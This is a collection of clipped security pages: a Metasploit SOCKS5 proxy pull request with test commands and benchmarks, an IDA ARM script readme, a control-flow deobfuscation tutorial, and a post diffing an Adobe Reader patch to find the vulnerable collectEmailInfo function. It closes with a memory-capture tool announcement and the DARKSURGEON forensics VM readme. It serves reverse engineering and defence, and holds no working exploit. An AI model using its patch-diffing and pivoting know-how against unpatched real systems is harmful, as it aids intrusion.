  * Observe a successful connection: `<!doctype html><html itemscope="" itemtype...`

Test authentication with curl:

  * `jobs -K`
  * `set USERNAME testuser`
  * `set PASSWORD testpass`
  * `curl www.google.com --socks5 127.0.0.1:1080 --proxy-user testuser:testpass`
  * Observe a successful connection: `<!doctype html><html itemscope="" itemtype...`

Test authentication with invalid credentials with curl:

  * `curl www.google.com --socks5 127.0.0.1:1080 --proxy-user testuser:wrongpassword`
  * Observe an authentication failure: `curl: (7) User was rejected by the SOCKS5 server (1 1).`

Test an authenticated-required server with a client lacking credentials with
curl:

  * `curl www.google.com --socks5 127.0.0.1:1080`
  * Observe an authentication failure: `curl: (7) No authentication method was acceptable. (It is quite likely that the SOCKS5 server wanted a username/password, since none was supplied to the server on this connection.)`

Test providing credentials with curl, but not requiring them on the server.
Also, only unsetting one of the variables:

  * `jobs -K`
  * `unset USERNAME`
  * `run`
  * `curl www.google.com --socks5 127.0.0.1:1080 --proxy-user testuser:wrongpassword`
  * Observe a successful connection: `<!doctype html><html itemscope="" itemtype...`

Test Firefox, using remote DNS resolution and a resource-intensive website:

  * Open Firefox. \(I suggest Firefox because it has self-contained proxy settings, rather than IE/Edge/Chrome, which require you to change OS-level proxy settings\).
  * Open the menu, then go to Preferences, scroll down the General pane.
  * Under "Network Proxy, click the "Settings" button.
  * Set the SOCKS host entry to your IP and port, specifying "SOCKS v5", and checking the "Proxy DNS when using SOCKS5" box:

<img src='img/local_socks_settings.png' width='533' height='572' />

  * Now try browsing to any website, including SSL-enabled ones: https://rapid7.com

  
---  
<img src='img/9299_35073726.png' width='20' height='20' alt='@asoto-r7' />

` Rudamentary SOCKS5 functionality, CONNECT, IPv4, non-DNS only `

` 2cd0d3d `

###  <img src='img/9300_4108654.jpg' width='16' height='16' alt='@busterb' />
busterb added  payload enhancement labels 17 days ago

<img src='img/9296_4108654.jpg' width='44' height='44' alt='@busterb' />

###

**busterb ** reviewed  16 days ago

View changes

lib/rex/proto/proxy/socks5.rb

<img src='img/9296_4108654.jpg' width='44' height='44' alt='@busterb' />

###

**busterb ** reviewed  16 days ago

View changes

lib/rex/proto/proxy/socks5.rb

<img src='img/9296_4108654.jpg' width='44' height='44' alt='@busterb' />

###

**busterb ** reviewed  16 days ago

View changes

lib/rex/proto/proxy/socks5.rb

<img src='img/9296_4108654.jpg' width='44' height='44' alt='@busterb' />

###

**busterb ** reviewed  16 days ago

View changes

modules/auxiliary/server/socks5.rb

###  <img src='img/9302_4551878.jpg' width='16' height='16' alt='@wvu-r7' />
wvu-r7 changed the title from Rudamentary SOCKS5 functionality, CONNECT, IPv4,
non-DNS only to Rudimentary SOCKS5 functionality, CONNECT, IPv4, non-DNS only
16 days ago

<img src='img/9296_4108654.jpg' width='44' height='44' alt='@busterb' />

Contributor This user has previously committed to the metasploit-framework
repository.

###  **busterb ** commented 16 days ago

This looks good to start, taking cues from the SOCKS4a proxy. If we can assume
meterpreter is the thing behind the network channel, we should be able to also
invoke the direct DNS query support that they expose to do remote DNS queries
on behalf of the client. I might suggest some refactoring with socks4a since
this shares some code and patterns with it.  
---  
<img src='img/9299_35073726.png' width='20' height='20' alt='@asoto-r7' />

` Added DNS resolution support `

` 3ce05e5 `

###  <img src='img/9299_35073726.png' width='16' height='16' alt='@asoto-r7'
/> asoto-r7 self-assigned this 11 days ago

<img src='img/9299_35073726.png' width='20' height='20' alt='@asoto-r7' />

` Added IPv6 support `

` ac2f7b9 `

###  <img src='img/9300_4108654.jpg' width='16' height='16' alt='@busterb' />
busterb changed the title from Rudimentary SOCKS5 functionality, CONNECT,
IPv4, non-DNS only to Rudimentary SOCKS5 functionality, CONNECT, IPv4 + DNS 10
days ago

###  <img src='img/9299_35073726.png' width='16' height='16' alt='@asoto-r7'
/> asoto-r7 changed the title from Rudimentary SOCKS5 functionality, CONNECT,
IPv4 + DNS to Rudimentary SOCKS5 functionality \(CONNECT only, no BIND,
unauthenticated\) 10 days ago

###  asoto-r7 added some commits  9 days ago

<img src='img/9299_35073726.png' width='20' height='20' alt='@asoto-r7' />

` Update module name, per a good catch by @bcook `

` c35c8e9 `

<img src='img/9299_35073726.png' width='20' height='20' alt='@asoto-r7' />

` Refactored for better logging, IPv6 support, and prep for auth `

` 72efe66 `

###  <img src='img/9299_35073726.png' width='16' height='16' alt='@asoto-r7'
/> asoto-r7 changed the title from Rudimentary SOCKS5 functionality \(CONNECT
only, no BIND, unauthenticated\) to Rudimentary SOCKS5 functionality \(CONNECT
only\) 2 days ago

<img src='img/9299_35073726.png' width='20' height='20' alt='@asoto-r7' />

` Added username/password-based authentication `

` 8a72e71 `

<img src='img/35073726.png' width='44' height='44' alt='@asoto-r7' />

Contributor This user has previously committed to the metasploit-framework
repository.

###  **asoto-r7 ** commented 2 days ago

TL;DR: Removing WIP tag and requesting review / landing. Updates: IPv6
support. DNS support, better logging, authentication, and much more thorough
verification steps. Remaining todo items: BIND requests, UDP associate
requests. I'm eager to hear how useful those would be, but we'll save those
for another PR.  
---  
<img src='img/9295_434827.png' width='44' height='44' alt='@bcoles' />

Contributor This user has previously committed to the metasploit-framework
repository.

###  **bcoles ** commented 2 days ago

Concurrency results:

[code]

    root@kali:/pentest/exploit/metasploit-framework# time proxychains ab -c 5 -n 1000 http://127.0.0.1:80/ 
    ProxyChains-3.1 (http://proxychains.sf.net)
    This is ApacheBench, Version 2.3 <$Revision: 655654 $>
    Copyright 1996 Adam Twiss, Zeus Technology Ltd, http://www.zeustech.net/
    Licensed to The Apache Software Foundation, http://www.apache.org/
    
    Benchmarking 127.0.0.1 (be patient)
    Completed 100 requests
    Completed 200 requests
    Completed 300 requests
    Completed 400 requests
    Completed 500 requests
    Completed 600 requests
    Completed 700 requests
    Completed 800 requests
    Completed 900 requests
    Completed 1000 requests
    Finished 1000 requests
    
    
    Server Software:        Apache/2.2.22
    Server Hostname:        127.0.0.1
    Server Port:            80
    
    Document Path:          /
    Document Length:        177 bytes
    
    Concurrency Level:      5
    Time taken for tests:   30.042 seconds
    Complete requests:      1000
    Failed requests:        0
    Write errors:           0
    Total transferred:      453000 bytes
    HTML transferred:       177000 bytes
    Requests per second:    33.29 [#/sec] (mean)
    Time per request:       150.212 [ms] (mean)
    Time per request:       30.042 [ms] (mean, across all concurrent requests)
    Transfer rate:          14.73 [Kbytes/sec] received
    
    Connection Times (ms)
                  min  mean[+/-sd] median   max
    Connect:        1    5  11.3      2     284
    Processing:     0  144  93.6    201     476
    Waiting:        0    3  13.1      1     284
    Total:          2  150  94.3    203     485
    
    Percentage of the requests served within a certain time (ms)
      50%    203
      66%    204
      75%    209
      80%    210
      90%    212
      95%    214
      98%    221
      99%    298
     100%    485 (longest request)
    
    real	0m30.055s
    user	0m0.056s
    sys	0m0.100s
    root@kali:/pentest/exploit/metasploit-framework# time proxychains ab -c 10 -n 1000 http://127.0.0.1:80/ 
    ProxyChains-3.1 (http://proxychains.sf.net)
    This is ApacheBench, Version 2.3 <$Revision: 655654 $>
    Copyright 1996 Adam Twiss, Zeus Technology Ltd, http://www.zeustech.net/
    Licensed to The Apache Software Foundation, http://www.apache.org/
    
    Benchmarking 127.0.0.1 (be patient)
    Completed 100 requests
    Completed 200 requests
    Completed 300 requests
    Completed 400 requests
    Completed 500 requests
    Completed 600 requests
    Completed 700 requests
    Completed 800 requests
    Completed 900 requests
    Completed 1000 requests
    Finished 1000 requests
    
    
    Server Software:        Apache/2.2.22
    Server Hostname:        127.0.0.1
    Server Port:            80
    
    Document Path:          /
    Document Length:        177 bytes
    
    Concurrency Level:      10
    Time taken for tests:   15.955 seconds
    Complete requests:      1000
    Failed requests:        0
    Write errors:           0
    Total transferred:      453000 bytes
    HTML transferred:       177000 bytes
    Requests per second:    62.68 [#/sec] (mean)
    Time per request:       159.551 [ms] (mean)
    Time per request:       15.955 [ms] (mean, across all concurrent requests)
    Transfer rate:          27.73 [Kbytes/sec] received
    
    Connection Times (ms)
                  min  mean[+/-sd] median   max
    Connect:        1    6   7.8      5     219
    Processing:     0  152  90.0    201     408
    Waiting:        0    4  12.9      1     310
    Total:          2  158  90.5    204     421
    
    Percentage of the requests served within a certain time (ms)
      50%    204
      66%    209
      75%    210
      80%    211
      90%    213
      95%    216
      98%    221
      99%    329
     100%    421 (longest request)
    
    real	0m15.960s
    user	0m0.056s
    sys	0m0.096s
    root@kali:/pentest/exploit/metasploit-framework# time proxychains ab -c 100 -n 1000 http://127.0.0.1:80/ 
    ProxyChains-3.1 (http://proxychains.sf.net)
    This is ApacheBench, Version 2.3 <$Revision: 655654 $>
    Copyright 1996 Adam Twiss, Zeus Technology Ltd, http://www.zeustech.net/
    Licensed to The Apache Software Foundation, http://www.apache.org/
    
    Benchmarking 127.0.0.1 (be patient)
    Completed 100 requests
    Completed 200 requests
    Completed 300 requests
    Completed 400 requests
    Completed 500 requests
    Completed 600 requests
    Completed 700 requests
    Completed 800 requests
    Completed 900 requests
    Completed 1000 requests
    Finished 1000 requests
    
    
    Server Software:        Apache/2.2.22
    Server Hostname:        127.0.0.1
    Server Port:            80
    
    Document Path:          /
    Document Length:        177 bytes
    
    Concurrency Level:      100
    Time taken for tests:   10.138 seconds
    Complete requests:      1000
    Failed requests:        0
    Write errors:           0
    Total transferred:      453000 bytes
    HTML transferred:       177000 bytes
    Requests per second:    98.64 [#/sec] (mean)
    Time per request:       1013.826 [ms] (mean)
    Time per request:       10.138 [ms] (mean, across all concurrent requests)
    Transfer rate:          43.63 [Kbytes/sec] received
    
    Connection Times (ms)
                  min  mean[+/-sd] median   max
    Connect:        1   10   7.4      9     219
    Processing:   200  941 186.9    962    1219
    Waiting:        3  631 261.4    662    1216
    Total:        210  951 187.2    971    1234
    
    Percentage of the requests served within a certain time (ms)
      50%    971
      66%   1000
      75%   1019
      80%   1023
      90%   1198
      95%   1215
      98%   1223
      99%   1225
     100%   1234 (longest request)
    
    real	0m10.155s
    user	0m0.028s
    sys	0m0.108s
    root@kali:/pentest/exploit/metasploit-framework# time proxychains ab -c 1000 -n 1000 http://127.0.0.1:80/ 
    ProxyChains-3.1 (http://proxychains.sf.net)
    This is ApacheBench, Version 2.3 <$Revision: 655654 $>
    Copyright 1996 Adam Twiss, Zeus Technology Ltd, http://www.zeustech.net/
    Licensed to The Apache Software Foundation, http://www.apache.org/
    
    Benchmarking 127.0.0.1 (be patient)
    Completed 100 requests
    Completed 200 requests
    Completed 300 requests
    Completed 400 requests
    Completed 500 requests
    Completed 600 requests
    Completed 700 requests
    Completed 800 requests
    Completed 900 requests
    Completed 1000 requests
    Finished 1000 requests
    
    
    Server Software:        Apache/2.2.22
    Server Hostname:        127.0.0.1
    Server Port:            80
    
    Document Path:          /
    Document Length:        177 bytes
    
    Concurrency Level:      1000
    Time taken for tests:   10.884 seconds
    Complete requests:      1000
    Failed requests:        0
    Write errors:           0
    Total transferred:      453000 bytes
    HTML transferred:       177000 bytes
    Requests per second:    91.88 [#/sec] (mean)
    Time per request:       10883.586 [ms] (mean)
    Time per request:       10.884 [ms] (mean, across all concurrent requests)
    Transfer rate:          40.65 [Kbytes/sec] received
    
    Connection Times (ms)
                  min  mean[+/-sd] median   max
    Connect:        1   11  30.9      9     979
    Processing:   201 5787 2891.4   5862   10684
    Waiting:        9 5781 2896.2   5858   10681
    Total:        202 5798 2889.8   5883   10686
    
    Percentage of the requests served within a certain time (ms)
      50%   5883
      66%   7426
      75%   8260
      80%   8693
      90%   9706
      95%  10191
      98%  10490
      99%  10586
     100%  10686 (longest request)
    
    real	0m10.891s
    user	0m0.036s
    sys	0m0.108s
    
[/code]  
---  
###  <img src='img/9300_4108654.jpg' width='16' height='16' alt='@busterb' />
busterb changed the title from Rudimentary SOCKS5 functionality \(CONNECT
only\) to SOCKS5 module, with DNS, IPv4/v6, and authentication support 2 days
ago

###  <img src='img/9300_4108654.jpg' width='16' height='16' alt='@busterb' />
busterb self-assigned this 2 days ago

<img src='img/9296_4108654.jpg' width='44' height='44' alt='@busterb' />

Contributor This user has previously committed to the metasploit-framework
repository.

###  **busterb ** commented 2 days ago •

edited

Looks very good in the local case. I think there may be some work on the
routed connection case, e.g. we need switchboard to know how to route DNS
queries, since this still ends up making all DNS queries locally it seems. But
having a solid foundation at this level gives me a lot of confidence that bugs
further in the stack will be isolated to those deeper levels. Thanks\! Also,
there is some less-modern ruby syntax with these that I know got inherited
from socks4a too. We can address that in another PR as well, rather than nit-
picking on all of the parenthesis items here. Both can be cleaned up for
consistency later.  
---  
###  <img src='img/9300_4108654.jpg' width='16' height='16' alt='@busterb' />
busterb merged commit `8a72e71` into  rapid7:master 2 days ago

3 checks passed

###  busterb added a commit that referenced this pull request  2 days ago

<img src='img/9300_4108654.jpg' width='20' height='20' alt='@busterb' />

` Land #9990, add SOCKS5 proxy support `

Success: The Travis CI build passed

` 86a5b95 `

<img src='img/9296_4108654.jpg' width='44' height='44' alt='@busterb' />

Contributor This user has previously committed to the metasploit-framework
repository.

###  **busterb ** commented 2 days ago

## Release Notes

This adds basic SOCKS5 server functionality, based closely on the existing
auxiliary/server/socks4a module. It has been tested in basic scenarios
supporting IPv4, IPv6, DNS resolution, and basic authentication. It is written
to conform to RFC1928 and RFC1929, and can interoperate with many 3rd-party
networking tools.  
---  
Sign up for free **to join this conversation on GitHub**. Already have an
account? Sign in to comment

  

# gdelugre/ida-arm-system-highlight

**Created:**| _5/12/2017 1:06:36 PM_  
---|---  
**Updated:**| _5/12/2017 1:06:36 PM_  
**Author:**| __  
**Tags:**| _iDA arm_  
  

  

## Decoding ARM system instructions

This script will give you the list of ARM system instructions used in your IDA
database. This is useful for locating specific low-level pieces of code
\(setting up the MMU, caches, fault handlers, etc.\).

One hassle of reverse engineering low-level ARM code is that IDA Pro does not
decode the internal registers accessed by co-processor instructions \(` MCR
`/` MRC ` and ` MSR `/` MRS ` on AArch64\).

After applying the script, the system registers accessed will be automatically
commented in the database, as defined in the official ARM reference manuals.

<img src='img/aarch32_hl.png' width='804' height='245' alt='AArch32 decoding'
/> <img src='img/aarch64_hl.png' width='889' height='238' alt='AArch64
decoding' />

## Usage

` Alt-F7 ` in IDA Pro, then run the script on your open database.

## Compatibility

Should work with ARMv7 and ARMv8 processors.

  

# Control Flow Deobfuscation Part 3 - Blogs - RCE Messageboard's Regroupment

**Created:**| _4/14/2011 1:42:31 PM_  
---|---  
**Updated:**| _4/14/2011 1:42:31 PM_  
**Author:**| __  
**Tags:**| _Practical Software Verification reversing_  
  

#### Control Flow Deobfuscation Part 3

###### <img src='img/rating-15_2.png' alt='Rating: 2 votes, 1.50 average.' />

  * Excellent
  * Good
  * Average
  * Bad
  * Terrible
  * 

2 Comments

by

**fr33ke**

  * <img src='img/2252_profile.png' /> View Profile
  * <img src='img/2254_forum.png' /> View Forum Posts
  * <img src='img/2255_blog.png' /> View Blog Entries
  * <img src='img/2256_article.png' /> View Articles

on June 5th, 2008 at 06:09 \(3167 Views\)

> Now we have:
>   * A way to decompose the bytecode of a function into its CFG
>   * A way to make bytecode from the CFG if we know the order of the vertices
>
So to deobfuscate we only need one more thing:

>   * A way to order the vertices
>
  
>  Interestingly, we could also make a obfuscator in this way. All we have to
> do is put the vertices in a random order.  
>  
>  So to deobfuscate we can't just use any ordering. We have to use one that
> is 'intuitive' and 'natural'. Unfortunately these words mean nothing to a
> computer; we'll have to specify them more carefully.  
>  
>  Let's start simple. In which order would you place these vertices if you
> wanted to deobfuscate?  
> <img src='img/firstmh5.png' />  
>  I think we can agree that 1-2-3 is he right order.  
>  3-1-2 is bad because we _have_ to start with 1: this tells everyone that
> the function starts there.  
>  1-3-2 is bad too, but why? For one it creates more branches than necessary,
> but I think this is not the reason it is hard to read. I think the reason is
> that we go **backwards** from 2 to 3. Most of us like to read in one
> direction: from top to bottom or from left to right.  
>  
>  Another one:  
> <img src='img/secondco2.png' />  
>  The right order here is 1-2-4-3 or 1-4-2-3.  
>  1-2-3-4 is wrong because 4 then goes backwards to 3.  
>  
>  We can say: the order is right iff for all edges, the start of the edge
> comes _before_ the end of the edge. This ordering is known as a _topological
> ordering_. There are various ways to compute it; it is important to remember
> that one is the _reverse postorder_ of a _depth-first traversal_.  
>  
>  This might all sound like gibberish to you, so feel free to take a pause
> and look up some of the underlined words. Here's a little pseudocode example
> for the reverse postorder:  
>
> Code:
[code]

>     reverse_postorder(vertex):
>         order = []
>         for each child in vertex.edges
>             order = reverse_postorder(child) + order
>  
>         order = vertex + order
>         return order
>  
[/code]

>  
>  Well, so far so good. But what to think of this one:  
> <img src='img/thirdnw5.png' />  
>  I'd say that the best ordering is 1-2-3-5-4. Some compilers order this as
> 1-5-2-3-4. Even 1-3-5-2-4 isn't unreasonable. But according to our ordering
> rules, _they are all wrong_.  
>  
>  If your graph has a cycle, it isn't possible to get a perfect ordering. We
> can't have 2 before 3, 3 before 5 and 5 before 2 at the same time, so we'll
> have to go backwards at least one time.  
>  
>  Something like 1-4-2-3-5 is even more wrong though. Now we have two
> backward edges, 3 to 4 and 5 to 2.  
>  
>  One way to solve the problem is like this:  
> <img src='img/fourthfl1.png' />  
>  We _contract_ the vertices of the _strongly connected component_ \(a
> generalization of cycles\) into one "supervertex". Now we order that and get
> 1-I-4. Then we order I: first we pick one vertex to start, I like to get the
> one that has most edges to it from outside I, but it doesn't matter much. In
> this example we pick 2. Then we order the rest \(and if we find sub-SCC's in
> I we recurse\). So here we get 3-5. Then the final order is 1-2-3-5-4.  
>  
>  Now thinking that out is one thing, implementing it is another. The most
> obvious problem is how to find the SCC's. Luckily some very smart people
> already figured it out for us. We'll use _Tarjan 's strongly connected
> components algorithm_. It is a bit hard to understand, but
> http://www.ics.uci.edu/~eppstein/161/960220.html explains it very clearly.  
>  
>  
>  So, are we done now? Is the following algorithm enough:
>   1. Find all SCC's
>   2. Collapse them into supervertices
>   3. Order the resulting graph
>   4. Apply this algorithm to all supervertices in the result
>
Yes, in a certain sense. It works fine, but it's quite a lot to code
\(especially in C\) and it's pretty inefficient.  
>  
>  
> **/ this is the clever part**  
>  Now both Tarjan's algorithm and the reverse postorder are based on depth
> first search. So maybe it's possible to combine them? It turns out we can
> indeed do this and save ourself a lot of work. The only modification we need
> to do is:
>   * Whenever we find an SCC, we check if it is trivial \(one vertex\). If
> so, we add it to the order. Else we order the SCC and put the result in the
> order.
>
  
>  So the final algorithm is:  
>
> Code:
[code]

>     get_order(first_vertex, vertices_to_consider):
>         /* Define some variables */
>         order = []
>         stack = empty_stack
>         cur_dfsnum = 0
>         index = []
>         low = []
>  
>         /* Nested function, has access to above variables (closure) */
>         visit(cur_vertex):
>             index[cur_vertex] = cur_dfsnum
>             low[cur_vertex] = cur_dfsnum
>             cur_dfsnum++
>             push cur_vertex on stack
>  
>             for each child in cur_vertex.edges where child in
> vertices_to_consider
>                 if index[child] == "To be done"
>                     visit(child)
>                     low[cur_vertex] = min(low[cur_vertex], low[child])
>                 else if index[child] == "Done"
>                     /* Do nothing */
>                 else
>                     low[cur_vertex] = min(low[cur_vertex], index[child])
>  
>             if low[cur_vertex] == index[cur_vertex]
>                 /* we found an SCC */
>                 scc = []
>                 do
>                     popped = pop from stack
>                     scc += popped
>                     index[popped] = "Done"
>                 until popped == current_vertex
>  
>                 if scc.length == 1
>                     order = cur_vertex + order
>                 else
>                     order = get_order(choose_first(scc), scc) + order
>         /* visit() ends */
>  
>  
>  
>         for vertex in vertices_to_consider:
>             index[vertex] = "To be done"
>  
>         /* Special-case the start vertex to prevent infinite recursion */
>         index[first_vertex] = "Done"
>         for each child in first_vertex.edges where child in
> vertices_to_consider
>             if index[child] == "To be done"
>                 visit(child)
>         order = first_vertex + order
>  
>         return order
>  
[/code]

> I omitted the choose\_first function because it isn't important.  
>  
>  
>  Now we have every part, putting it together is simple:  
>
> Code:
[code]

>     de_flow_obfuscate(bytecode):
>         already_done_vertices = empty
>         cfg = makecfg(bytecode)
>         order = get_order(cfg, already_done_vertices)
>         return rebuild_from_order(cfg, order)
>  
[/code]

>  
>  Well that's it mostly. I wanted to show how to do this so maybe someone
> doesn't have to spend weeks figuring this stuff out and because I think
> Code:
[code]

>     _reverse postorder_ + _Tarjan 's strongly connected components
> algorithm_ = approximate _topological ordering_
[/code]

> is a very nice insight.  
>  
>  P.S. Sorry, my tool to do this for .NET is currently private because I'm
> not interested in an arms race. The ideas behind it are more important
> anyway <img src='img/thumbsup.gif' />

# From a malicious attacker: APSB08-15: Part 1

**Created:**| _1/5/2010 4:22:53 PM_  
---|---  
**Updated:**| _1/5/2010 4:23:06 PM_  
**Author:**| __  
**Tags:**| _Exploit reversing Malware-analysis_  
  

APSB08-15: Part 1

Sunday, July 6, 2008

This post is about reversing the latest security update from Adobe for Acrobat
Reader 8.1.2 \(APSB08-15 / CVE-2008-2641\). I'm not finished yet, but this is
the journey so far.  
  
To start at the beginning, the security update is distributed as an MSI file.
At first, I tried unpacking the .msi but after doing so realized it would be
better to just backup all the binaries and apply the patch. Once I did that, I
ran a python script to compare the updated and original folders. This revealed
that the only binary changed was plug\_ins/Annots.api.  
  
I created IDA databases of the new and old Annots.api DLLs. These are quite
large. BinDiff took a very long time to diff the databases. Surprisingly,
PatchDiff \(from Tenable\) was much faster. In terms of matched functions,
PatchDiff only found 6 more than BinDiff \(False Positives\). The graphs
produced by BinDiff are a little easier to comprehend. Still, not bad for a
free plugin.  
  
I looked through the changed functions and the only one of interest appeared
to be @ 0x221f939b in the new DLL and 0x221f91dc in the old one. I searched
for xrefs to the function and determined that the changed function is called
"collectEmailInfo" based on the logic within the only xref which is some sort
of Javascript method registration. A vulnerability had been reported in this
function prior to this bulletin, it was also reportedly being exploited in the
wild by things like Neosploit.  
  
A quick google for collectEmailInfo revealed that the function was part of the
Javascript API. I found it interesting that the method is actually referenced
as Collab.collectEmailInfo\(...\) in Javascript even though it is defined in
Annots.api. I verified that the function in Annots actually gets called when
referenced like this by creating a PDF with embedded Javascript usingPDFFill.
Here's a shot of a breakpoint on collectEmailInfo triggering in Immunity's
debugger.  
  
<img src='img/Temp2_3313.png' />  
  
The new function contains some input validation checks that do not appear to
be present in the prior DLL. These check the lengths of different wide input
strings. The first of which can be found @ 0x221F9C7F. A custom strlen
function that deals with wide strings is used repeatedly in these checks. It
is defined @ 0x2218B669.  
  
The differences are best illustrated by the IDA graph views side by side.  
  
<img src='img/Temp2_3314.png' />  
The graph on the left is the original function while the one on the right is
the new version. The original version appears to do a memset operation
followed by some pointer copying. This information is troubling because,
without any testing, the vuln here would appear to be very similar to the
previously reported one \(CVE-2007-5659\). Next step here is to unpatch Reader
and begin testing with a debugger.

Labels: acrobat, patch, reversing

#### 1 COMMENTS:

toto said...

    
Just to let you know, most of the invalid matches in PatchDiff2 with
Annots.api have been fixed in 2.0.3 with an improved support for C++
structures and with a new system for code references.  
  
Also there are still few bad matches due to duplicated names \(\_XX at the
end\) in IDA sigs. This problem is fixed in CVS and will be available in
2.0.4.  
So if you do a new diff when 2.0.4 is released you will only have 1 entry in
the Matched list.

    July 14, 2008 6:21 AM
Post a Comment

####

  

# Capture memory under Win2k3 or Vista with win32dd\! - Matthieu Suiche’s blog
\!

**Created:**| _9/3/2009 9:52:38 AM_  
---|---  
**Updated:**| _9/3/2009 9:52:47 AM_  
**Author:**| __  
**Tags:**| _windows security Forensics Malware-analysis_  
  

## Capture memory under Win2k3 or Vista with win32dd\!

by Matthieu Suiche on Jun.14, 2008, under Windows

Actually, win32dd is the only 100% open-source tool to capture memory under
Win2k3 or Vista. Even, if ManTech released a similar tool yesterday, but some
part of the source code \(e.g. driver source code\) are missing. Then, I
decide to release mine as a full open-source project under GPL3 license.

The main difference between ManTech tool and win32dd, is that win32dd is
mainly a kernel mode application — then it avoids to use user-land API to
write to an output file, everything is done with native functions. Thus, it
means a faster dumping… This point isn’t negligible when you have one million
page to dump in one single.

In ManTech tool, the driver is only used to get \Device\PhysicalMemory handle.

## **Download win32dd v1.0.20080615 now\!**

**EDIT: \(16th June\), New version, fixed bug.**

PS: You can read further information about PhysicalMemory restriction access
on the Microsoft MSDN here.

<img src='img/Temp2_1384.png' />

# cryps1s/DARKSURGEON

**Created:**| _5/25/2018 10:47:37 AM_  
---|---  
**Updated:**| _5/25/2018 10:47:37 AM_  
**Author:**| _wishi_  
**Tags:**| _Malware-analysis incident response dfir_  
  

  

# DARKSURGEON

CircleCI Status: <img
src='img/68747470733a2f2f636972636c6563692e636f6d2f67682f637279707331732f4441524b53555247454f4e2f747265652f6d61737465722e7376673f7374796c653d73766726636972636c652d746f6b656e3d63613664316230653430656266363430386335383138313063306333323862396238303765353136'
width='66' height='18' alt='CircleCI' />

## About DARKSURGEON

DARKSURGEON is a Windows packer project to empower incident response, digital
forensics, malware analysis, and network defense.

DARKSURGEON has three stated goals:

  * Accelerate incident response, digital forensics, malware analysis, and network defense with a preconfigured Windows 10 environment complete with tools, scripts, and utilities. 
  * Provide a framework for defenders to customize and deploy their own programmatically-built Windows images using Packer and Vagrant.
  * Reduce the amount of latent telemetry collection, minimize error reporting, and provide reasonable privacy and hardening standards for Windows 10.

If you haven't worked with packer before, this project has a simple premise:

Provide all the tools you need to have a productive, secure, and private
Windows virtual machine so you can spend less time tweaking your environment
and more time fighting bad guys.

**Please note this is an alpha project** and it will be subject to continual
development, updates, and package breakage.

### Development Principles

DARKSURGEON is based on a few key development principles:

  * **Modularity is key**. Each component of the installation and configuration process should be modular. This allows for individuals to tailor their packer image in the most flexible way.
  * **Builds must be atomic**. A packer build should either complete all configuration and installation tasks without errors, or it should fail. A packer image with missing tools is a failure scenario.
  * **Hardened out of the box**. To the extent that it will not interfere with investigative workflows, all settings related to proactive hardening and security controls should be enabled. Further information on DARKSURGEON security can be found later in this post. 
  * **Instrumented out of the box**. To the extent that it will not interfere with investigative workflows, Microsoft Sysmon, Windows Event Logging, and osquery will provide detailed telemetry on host behavior without further configuration.
  * **Private out of the box**. To the extent that it will not interfere with investigative workflows, all settings related to privacy, Windows telemetry, and error reporting should minimize collection.

### Hardening

DARKSURGEON is hardened out of the box, and comes with scripts to enable High
or Low security modes.

All default installations of DARKSURGEON have the following security features
enabled:

  * Windows Secure Boot is Enabled.
  * Windows Event Log Auditing is Enabled. \(Palantir Windows Event Forwarding Guidance\)
  * Windows Powershell Auditing is Enabled. \(Palantir Windows Event Forwarding Guidance\)
  * Windows 10 Privacy and Telemetry are Reduced to Minimal Settings. \(Microsoft Guidance\)
  * Sysinternals Sysmon is Installed and Configured. \(SwiftonSecurity Public Ruleset\)
  * LLMNR is Disabled.
  * NBT is Disabled.
  * WPAD is Removed.
  * Powershell v2 is Removed.
  * SMB v1 is Removed.
  * Application handlers for commonly-abused file extensions are changed to notepad.exe.

Additionally, the user may specify a Low or High security mode by using the
appropriate scripts. The default setting is to build an image in Low Security
mode.

Low Security mode is primarily used for virtual machines intended for reverse
engineering, malware analysis, or systems that cannot support VBS security
controls.

In Low Security mode, the following hardening features are configured:

  * Windows Defender Anti-Virus Real-Time Scanning is Disabled.
  * Windows Defender SmartScreen is Disabled.
  * Windows Defender Credential Guard is Disabled.
  * Windows Defender Exploit Guard is Disabled.
  * Windows Defender Exploit Guard Attack Surface Reduction \(ASR\) is Disabled.
  * Windows Defender Application Guard is Disabled.
  * Windows Defender Application Guard does not enforce isolation.

**Note: High Security mode is still in development.**

High Security mode is primarily used for production deployment of sensitive
systems \(e.g. Privileged Access Workstations\) and may require additional
tailoring or configuration.

In High Security mode, the following hardening features are configured:

  * Windows Defender Anti-Virus Real-Time Scanning is Enabled.
  * Windows Defender SmartScreen is Enabled and applied to All Traffic.
  * Windows Defender Credential Guard is Enabled.
  * Windows Defender Exploit Guard is Enabled.
  * Windows Defender Exploit Guard Attack Surface Reduction \(ASR\) is Enabled.
  * Windows Defender Application Guard is Enabled.
  * Windows Defender Application Guard enforces isolation.

### Telemetry

Whether analyzing unknown binaries or working on sensitive projects, endpoint
telemetry powers detection and response operations. DARKSURGEON comes pre-
configured with the following telemetry sources available for analysis:

  * Windows Event Log Auditing is enabled. \(Palantir Windows Event Forwarding Guidance\).
  * Windows Powershell Auditing is enabled. \(Palantir Windows Event Forwarding Guidance\).
  * Sysinternals Sysmon is installed and configured. \(SwiftonSecurity Ruleset\)

### Privacy

Your operational environment contains some of the most sensitive data from
your network, and it's important to safeguard that from prying eyes.
DARKSURGEON implements the following strategies to maximize privacy without
hindering workflows:

  * Windows 10 telemetry settings are configured to minimize collection.
  * Cortana, diagnostics, tracking, and other services are disabled.
  * Windows Error Reporting \(WER\) is disabled.
  * Windows Timeline, shared clipboard, device hand-off, and other synchronize-by-default applications are disabled or neutered. 
  * Microsoft Guidance for reducing telemetry and data collection has been implemented.

### Packages

Out of the box, DARKSURGEON comes equipped with tools, scripts, and binaries
to make your life as a defender easier.

**Android Analysis:**

Tools, scripts, and binaries focused on android analysis and reverse
engineering.

  * APKTool \(FLARE\)

**Blue Team:**

Tools, scripts, and binaries focused on blue team, network defense, and
alerting/detection development.

  * ACE
  * Bloodhound / Sharphound
  * CimSweep
  * Dumpsterfire
  * EndGame Red Team Automation \(RTA\)
  * Kansa
  * Posh-Git
  * Invoke-ATTACKAPI
  * LOLBAS \(Living Off the Land Binaries And Scripts\)
  * OSX Collector
  * Posh-SecMod
  * Posh-Sysmon
  * PowerForensics
  * PowerSploit
  * Practical Malware Analysis Labs \(FLARE\)
  * Revoke-Obfuscation
  * Yara \(FLARE\)

**Debuggers:**

Tools, scripts, and binaries for debugging binary artifacts.

  * Ollydbg \(FLARE\)
  * OllyDump \(FLARE\)
  * OllyDumpEx \(FLARE\)
  * Ollydbg2 \(FLARE\)
  * OllyDump2Ex \(FLARE\)
  * x64dbg \(FLARE\)
  * Windbg \(FLARE\)

**Disassemblers:**

Tools, scripts, and binaries for disassembling binary artifacts.

